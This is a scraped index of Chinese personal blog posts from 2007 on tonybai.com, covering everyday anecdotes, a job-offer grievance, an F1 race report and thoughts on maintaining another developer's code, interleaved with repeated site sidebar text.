href=\"http://www.blogbus.com/zt/campaign/new_slogans.php?page=6\"\u003e博客无欲，乐在其中\u003c/a\u003e\u003cbr\u003e\n创作说明：我曾想过这样一个问题：写博客到底是为了什么呢，这个slogan给了我答案。\u003c/p\u003e","title":"博客无欲，乐在其中"},{"content":"今早发生在我身上的趣事。\n早晨起来睡眼朦胧，电视机旁听到国奥小将点球5:3战胜科特迪瓦进军土伦杯决赛，感觉甚是高兴，决定去公司食堂买早餐以饱餐一顿，心情愉悦中进入食堂，四处观望，见食堂某售饭口窗户上赫然写着五个大字\u0026rsquo;情色担担面\u0026rsquo;，顿心惊肉跳，也算是活了20多年了，尚未听说有\u0026rsquo;情色担担面\u0026rsquo;一说，难道是中华厨艺真的练到了第九重，出现质的飞跃了，柔柔眼睛再定睛观瞧，哦，原来是\u0026rsquo;特色担担面\u0026rsquo;，都怪写字的人把\u0026rsquo;特\u0026rsquo;写的太紧凑，加上我这个300度的近视眼，导致了\u0026rsquo;情色担担面\u0026rsquo;这一戏剧性的结局^_^。\n来到公司，发现邮件中测试组的一封bug报告，遂赶紧检查，发现问题后，修改之。并用gtalk通知相关某测试组美女同事，她应了一声\u0026rsquo;浩\u0026rsquo;，其实她是想说\u0026rsquo;好\u0026rsquo;，我就来个\u0026rsquo;文字接龙\u0026rsquo;，发去\u0026rsquo;浩气长存\u0026rsquo;，她顿知我意，可是想了一会儿，居然想出\u0026rsquo;存车处\u0026rsquo;，我也不示弱，反驳之，起码四个字，我看\u0026rsquo;存款太少\u0026rsquo;正合适^_^。\n","permalink":"https://tonybai.com/2007/06/08/two-funny-things-recently/","summary":"\u003cp\u003e今早发生在我身上的趣事。\u003c/p\u003e\n\u003cp\u003e早晨起来睡眼朦胧，电视机旁听到国奥小将点球5:3战胜科特迪瓦进军土伦杯决赛，感觉甚是高兴，决定去公司食堂买早餐以饱餐一顿，心情愉悦中进入食堂，四处观望，见食堂某售饭口窗户上赫然写着五个大字\u0026rsquo;情色担担面\u0026rsquo;，顿心惊肉跳，也算是活了20多年了，尚未听说有\u0026rsquo;情色担担面\u0026rsquo;一说，难道是中华厨艺真的练到了第九重，出现质的飞跃了，柔柔眼睛再定睛观瞧，哦，原来是\u0026rsquo;特色担担面\u0026rsquo;，都怪写字的人把\u0026rsquo;特\u0026rsquo;写的太紧凑，加上我这个300度的近视眼，导致了\u0026rsquo;情色担担面\u0026rsquo;这一戏剧性的结局^_^。\u003c/p\u003e","title":"生活趣事两则"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/06/07/shandong-football-team-loses-face/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"山东队真丢人！"},{"content":"早上，间隙休息时间，看到上周才离职的一位同事归来，以为是回来办事，打听后才得知，原来回公司办入职手续。\n这位同事是做开发的，因个人原因想去大连发展，经同学推荐到了大连HP，经过4轮面试终于如愿以偿的拿到了HP的Offer。就在他兴冲冲办完离职手续，交了违约金后，一到大连居然被告知要做测试，而且属于不定地点，随项目走的那种测试人员。这下可气坏了我的这位同事，因为当时谈条件的时候他已经明确表示要做开发的，而且是在大连做开发，现在说变就变。因为当时也只是口头的协议，根本没有证据可言，这时就完全处于被动状态了。无奈下只能放弃，重新回到我们公司。\n看来大公司也是会忽悠的，一直以来认为像HP这样的跨国公司应该还是不错的，起码该讲讲诚信吧，唉，原来天下乌鸦真是一般黑啊。这让我想起GF在找工作的时候，碰到过的事情，起码有3次以上了。明明是以行政人事类职位让你去面试，面试也通过了，结果到了最后一轮非得要你去做销售，这样的事情怎能不让人气愤，也就是这个社会人力供大于求啊，渐渐的求职者变成了弱势群体，其受到的各种损失又如何得到补偿呢，就像上述我的这位同事，他在物质和精神上的损失能找谁补偿呢，不是很了解法律，不知道有没有相应的帮助求职者维权的好法律，也让那些自以为高高在上的招聘单位意识到\u0026rsquo;忽悠人是不对的\u0026rsquo;。\n","permalink":"https://tonybai.com/2007/06/01/famous-company-also-lies/","summary":"\u003cp\u003e早上，间隙休息时间，看到上周才离职的一位同事归来，以为是回来办事，打听后才得知，原来回公司办入职手续。\u003c/p\u003e\n\u003cp\u003e这位同事是做开发的，因个人原因想去大连发展，经同学推荐到了大连HP，经过4轮面试终于如愿以偿的拿到了HP的Offer。就在他兴冲冲办完离职手续，交了违约金后，一到大连居然被告知要做测试，而且属于不定地点，随项目走的那种测试人员。这下可气坏了我的这位同事，因为当时谈条件的时候他已经明确表示要做开发的，而且是在大连做开发，现在说变就变。因为当时也只是口头的协议，根本没有证据可言，这时就完全处于被动状态了。无奈下只能放弃，重新回到我们公司。\u003c/p\u003e","title":"大公司也会忽悠"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/06/01/today-is-childrens-day/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"又逢六一"},{"content":"昨晚F1欧洲摩洛哥站上演，看过F1的车迷都知道，摩洛哥站之赛道是多么的曲折婉转，超车的可能性很小，这是因为这站赛道是基于城市公路的，除非通过进站来上演超车好戏，否则排位赛的位置就有可能是你的最终排名。\n巴林站结束后，汉密尔顿就计划把自己的第一分站赛冠军锁定在摩洛哥站了，因为他对摩洛哥站的赛道太熟悉了，他在之前的多种级别比赛中经常在此赛道竞速。他也深知排位对比赛成绩的影响。就在排位赛最后一轮之前，他依旧手握杆位，但就在最后一轮中由于前面慢车的阻挡让汉密尔顿浪费近0.5秒，阿隆索因此超越夺取杆位。\n有人说摩洛哥站是迈凯轮的内战，其实这主要取决于车队的战术，车队是否允许二位车手在取得很大优势之后自由竞争，赛后汉密尔顿对车队的战术提出了质疑，特别是进站的安排上。至于车队是否有偏瘫阿隆索的嫌疑只有他们自己知道。汉密尔顿应该说还是出色的完成了车队交给自己的任务，发车瞬间就拦住马萨的超车企图，之后就再也没给法拉利车队机会了。\n汉密尔顿没有如愿拿到分站赛冠军，不过对于这个小将来说目前的成绩已经是让人们瞠目了，相信汉密尔顿的首个F1分站赛冠军只是时间问题了，除了耐心再就是戒骄戒躁，汉迷们会永远支持你的!\n","permalink":"https://tonybai.com/2007/05/28/only-time-problem-to-win-first-substation-champion-for-hamilton/","summary":"\u003cp\u003e昨晚F1欧洲摩洛哥站上演，看过F1的车迷都知道，摩洛哥站之赛道是多么的曲折婉转，超车的可能性很小，这是因为这站赛道是基于城市公路的，除非通过进站来上演超车好戏，否则排位赛的位置就有可能是你的最终排名。\u003c/p\u003e","title":"汉密尔顿，首个分站赛冠军只是时间问题!"},{"content":"软件行业人员流动比较频繁，如果你是一个公司的老员工，你常常会有如此经历：一个同事即将离职，领导可能分配你去与之进行工作交接，有时他做过的项目很可能和你做过的有很大差距，没办法领导发话了，你还是要硬着头皮接下来，心中盘算着但愿这个项目的产品在现场运行不要出现什么问题或者用户最好一个新需求都不要提，这样就算是挂个名，也没什么大不了的。\n可是事情往往是事与愿违，需求变化速度之快让你猝不及防，这时如果你接手的维护项目和你做的东西是一个套路的，那也许还并不是很头疼，顶多花上一段时间就可以搞定，但是如果你像我一样，接手了一个多年都不接触的，有复杂业务逻辑的项目维护，那简直就是一种折磨呀，如果还是在你自己手头上的活加班都做不完的情况下，则更是让你抓心挠肝了^_^。\n这不五一前一个同事离职，按照领导的意志，其项目维护暂由我来接替。恰逢最近忙于系统的结构设计，进度吃紧之关头，这个维护的项目要进行现场软件升级，由于以前版本控制不是很好，导致居然找不到对应的Release版本，无奈之下只能基于其中一个版本修改，采用比较不精密的方式：文件比对，花了若干时间，才勉强拿出一个版本交给现场的实施人员进行升级。运行一段时间过后，现场维护发现出了问题，并反馈回来。无奈之下，开始博览成千上万行的代码，无果。打电话问离职人员，几番交流之后，发现原来改动时基于的版本不对，原因是他在修改一个版本后忘记做记录了，唉，还好，这个版本代码还在，文件比对后，发现改动的地方就两行代码。之前看了若干小时的代码的我本来也想这么改的，呵呵。\n我一直在Unix下开发，而这个维护项目是Windows上的使用Visual C++开发的，昨天无奈下装上Visual C++。\n把新的Release版本发给远方的维护后，我心里在想：在这种情况下一定要端正态度啊，无论如何这都是你的活，摆正心态解决问题才是正道，否则抱怨只能延缓你解决问题的时间。当然了，谁接到这样的活心里不是别别扭扭的，刚开始都不例外。\n","permalink":"https://tonybai.com/2007/05/25/thoughts-on-maintain-projects-of-others/","summary":"\u003cp\u003e软件行业人员流动比较频繁，如果你是一个公司的老员工，你常常会有如此经历：一个同事即将离职，领导可能分配你去与之进行工作交接，有时他做过的项目很可能和你做过的有很大差距，没办法领导发话了，你还是要硬着头皮接下来，心中盘算着但愿这个项目的产品在现场运行不要出现什么问题或者用户最好一个新需求都不要提，这样就算是挂个名，也没什么大不了的。\u003c/p\u003e","title":"开发人员之维护他人项目有感"},{"content":"一般在考虑到内存对齐的程序里面势必要使用数的圆整算式，一般来说在计算机程序里一般都是圆整到2的次幂上，而很多书上也有很多基于\u0026rsquo;移位\u0026rsquo;操作的圆整到2的次幂上的算法公式，形式都是很简单的，很实用。\n这里要说的是一个圆整到任意正整数(n \u0026gt; 1，圆整到1没有必要^_^)的算式，突然觉得如果说算法有些大了。我们来推导一下，也不是严密推导。就是怎么想的怎么说。\n如果有两个正整数a、b，其中a \u0026gt;= 1, b \u0026gt; 